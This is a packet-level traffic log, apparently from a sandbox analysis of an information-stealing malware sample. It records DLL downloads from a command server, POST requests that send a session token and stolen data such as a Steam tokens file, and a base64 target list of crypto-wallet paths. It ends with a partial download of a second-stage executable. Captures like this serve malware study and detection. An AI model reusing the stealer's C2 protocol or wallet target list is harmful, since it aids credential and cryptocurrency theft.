Nov 24, 2024 23:24:35.371165037 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:35 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 24, 2024 23:24:36.037858963 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 24, 2024 23:24:36.498039961 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:36 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 24, 2024 23:24:40.297791004 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 24, 2024 23:24:40.770962000 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:40 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 24, 2024 23:24:41.483012915 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 24, 2024 23:24:41.937269926 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:41 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 24, 2024 23:24:43.352066040 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJEGIJEGDBFHDGCAFCAE Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Nov 24, 2024 23:24:44.513863087 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:43 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 24, 2024 23:24:44.595403910 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAKJDAAFBKFHIEBFCFBK Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 4b 4a 44 41 41 46 42 4b 46 48 49 45 42 46 43 46 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 39 37 34 35 36 62 30 32 63 33 62 35 33 32 32 64 61 65 30 62 36 31 62 61 34 33 33 35 32 33 64 35 61 62 64 39 30 62 30 32 34 34 30 66 32 32 31 63 33 30 34 35 33 34 31 34 61 31 35 35 62 64 37 66 62 38 30 34 61 36 33 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 4a 44 41 41 46 42 4b 46 48 49 45 42 46 43 46 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 4a 44 41 41 46 42 4b 46 48 49 45 42 46 43 46 42 4b 2d 2d 0d 0a Data Ascii: ------DAKJDAAFBKFHIEBFCFBKContent-Disposition: form-data; name="token"b97456b02c3b5322dae0b61ba433523d5abd90b02440f221c30453414a155bd7fb804a63------DAKJDAAFBKFHIEBFCFBKContent-Disposition: form-data; name="message"wallets------DAKJDAAFBKFHIEBFCFBK--
Nov 24, 2024 23:24:45.052294970 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:44 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 24, 2024 23:24:45.409746885 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHDAAKJEGCFCAKEBKJJE Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 44 41 41 4b 4a 45 47 43 46 43 41 4b 45 42 4b 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 39 37 34 35 36 62 30 32 63 33 62 35 33 32 32 64 61 65 30 62 36 31 62 61 34 33 33 35 32 33 64 35 61 62 64 39 30 62 30 32 34 34 30 66 32 32 31 63 33 30 34 35 33 34 31 34 61 31 35 35 62 64 37 66 62 38 30 34 61 36 33 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 41 41 4b 4a 45 47 43 46 43 41 4b 45 42 4b 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 41 41 4b 4a 45 47 43 46 43 41 4b 45 42 4b 4a 4a 45 2d 2d 0d 0a Data Ascii: ------GHDAAKJEGCFCAKEBKJJEContent-Disposition: form-data; name="token"b97456b02c3b5322dae0b61ba433523d5abd90b02440f221c30453414a155bd7fb804a63------GHDAAKJEGCFCAKEBKJJEContent-Disposition: form-data; name="message"files------GHDAAKJEGCFCAKEBKJJE--
Nov 24, 2024 23:24:45.866358995 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:45 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 24, 2024 23:24:45.879946947 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAKKEGCAAECAAAKFBGIE Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 4b 4b 45 47 43 41 41 45 43 41 41 41 4b 46 42 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 39 37 34 35 36 62 30 32 63 33 62 35 33 32 32 64 61 65 30 62 36 31 62 61 34 33 33 35 32 33 64 35 61 62 64 39 30 62 30 32 34 34 30 66 32 32 31 63 33 30 34 35 33 34 31 34 61 31 35 35 62 64 37 66 62 38 30 34 61 36 33 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 4b 45 47 43 41 41 45 43 41 41 41 4b 46 42 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 4b 45 47 43 41 41 45 43 41 41 41 4b 46 42 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------BAKKEGCAAECAAAKFBGIEContent-Disposition: form-data; name="token"b97456b02c3b5322dae0b61ba433523d5abd90b02440f221c30453414a155bd7fb804a63------BAKKEGCAAECAAAKFBGIEContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------BAKKEGCAAECAAAKFBGIEContent-Disposition: form-data; name="file"------BAKKEGCAAECAAAKFBGIE--
Nov 24, 2024 23:24:46.834512949 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:46 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 24, 2024 23:24:46.872385025 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIJJKFCGDGHDHIECGCBK Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 4a 4a 4b 46 43 47 44 47 48 44 48 49 45 43 47 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 39 37 34 35 36 62 30 32 63 33 62 35 33 32 32 64 61 65 30 62 36 31 62 61 34 33 33 35 32 33 64 35 61 62 64 39 30 62 30 32 34 34 30 66 32 32 31 63 33 30 34 35 33 34 31 34 61 31 35 35 62 64 37 66 62 38 30 34 61 36 33 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 4a 4b 46 43 47 44 47 48 44 48 49 45 43 47 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 4a 4b 46 43 47 44 47 48 44 48 49 45 43 47 43 42 4b 2d 2d 0d 0a Data Ascii: ------GIJJKFCGDGHDHIECGCBKContent-Disposition: form-data; name="token"b97456b02c3b5322dae0b61ba433523d5abd90b02440f221c30453414a155bd7fb804a63------GIJJKFCGDGHDHIECGCBKContent-Disposition: form-data; name="message"ybncbhylepme------GIJJKFCGDGHDHIECGCBK--
Nov 24, 2024 23:24:47.334602118 CET	271	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:47 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49885	185.215.113.16	80	1680	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 23:24:47.469526052 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 24, 2024 23:24:48.835653067 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 22:24:48 GMT Content-Type: application/octet-stream Content-Length: 1881088 Last-Modified: Sun, 24 Nov 2024 22:04:34 GMT Connection: keep-alive ETag: "6743a2f2-1cb400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 80 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfJ@J}@WkD eJdJ @.rsrcD@.idata @ *@iqclzlke0@yhvedyovpJ@.taggant0J"@
Nov 24, 2024 23:24:48.835694075 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 23:24:48.836137056 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 23:24:48.836189985 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 23:24:48.836209059 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 23:24:48.836528063 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 23:24:48.836555004 CET	1236	IN	Data Raw: 81 53 1e 87 86 41 a9 39 0f 2c f8 b2 80 b8 d3 ee 47 0c f8 26 90 3f 1c 9a d0 ce 3d f7 c2 10 da 65 93 bc b7 f9 bb c0 26 f6 96 08 fa f8 07 e8 d8 e6 54 3e a9 f6 7e 18 f5 2e e6 fc 15 00 01 0c b0 b9 75 2c f7 c2 be 8c fa fc c7 e8 f8 a6 81 bf 42 a8 c9 7c Data Ascii: SA9,G&?=e&T>~.u,B\|R9CJ&fV-9\|f"86"u&}^bev@hQ4?yt:\|rSYAVpp}sf;n(E=.
Nov 24, 2024 23:24:48.836565971 CET	248	IN	Data Raw: e2 e0 97 ba 4a b4 f4 8a 7c 64 8f 77 7b 73 ed 76 7e 6a c3 1a bc 5c c4 c6 dc a3 6c 4e 62 1a ab ac 19 31 82 96 2c 75 7c f9 45 c2 ba 69 65 04 97 49 bd 4d d9 26 05 5d 1c 03 8d 2a ba c6 ec 87 11 3d f1 04 be 09 71 0e 9e d3 41 e5 cf ef d4 1c 34 03 f0 49 Data Ascii: J\|dw{sv~j\lNb1,u\|EieIM&]=qA4I~j;tn1hNa-~GIYq$VsmS)0p:8EDj9@^M(R\|\|S=7j<gST~E>~z:>+`h3Tj<t\|
Nov 24, 2024 23:24:48.837116957 CET	1236	IN	Data Raw: f2 7f 1e f8 ad 34 70 b9 f3 6e c6 62 65 e9 be 72 bc e0 2e ea 8b ef 75 b5 33 fc 7d a6 86 cf 47 0a 2c 79 61 8c a3 7c b5 9d 34 74 f5 03 b8 04 8f 45 d1 1b 85 fc d6 68 b0 e3 8c 1d ff 8f f0 0b 06 72 89 2e a9 1f e5 ec ea 5d 09 ea fa c9 18 bc 66 a1 80 b0 Data Ascii: 4pnber.u3}G,ya\|4tEhr.]fO1+7l4t.[$cJ7#&j6v8v_ZX)'/s`-Upx>s?"1818V/&^"se
Nov 24, 2024 23:24:48.837214947 CET	1236	IN	Data Raw: d4 63 2e cc e8 8c 88 76 d4 f2 6d 46 dc 2d 47 38 61 98 08 f9 7a 78 fc 02 0e ce 45 22 b3 92 5d fa 64 4c fd fe 31 74 e9 dc cf 1e fb bb 51 61 ca 06 1d d9 f5 e4 3f 6d 6d 00 a1 63 92 8e 2f d4 49 71 b8 1a b7 73 29 28 17 06 86 54 21 1d 00 fa 52 94 69 65 Data Ascii: c.vmF-G8azxE"]dL1tQa?mmc/Iqs)(T!RieIL;Gy9~I%'25\|W<,6c~2G#]'FG)#^Q5io3z}nv +*`-!y6V~jm
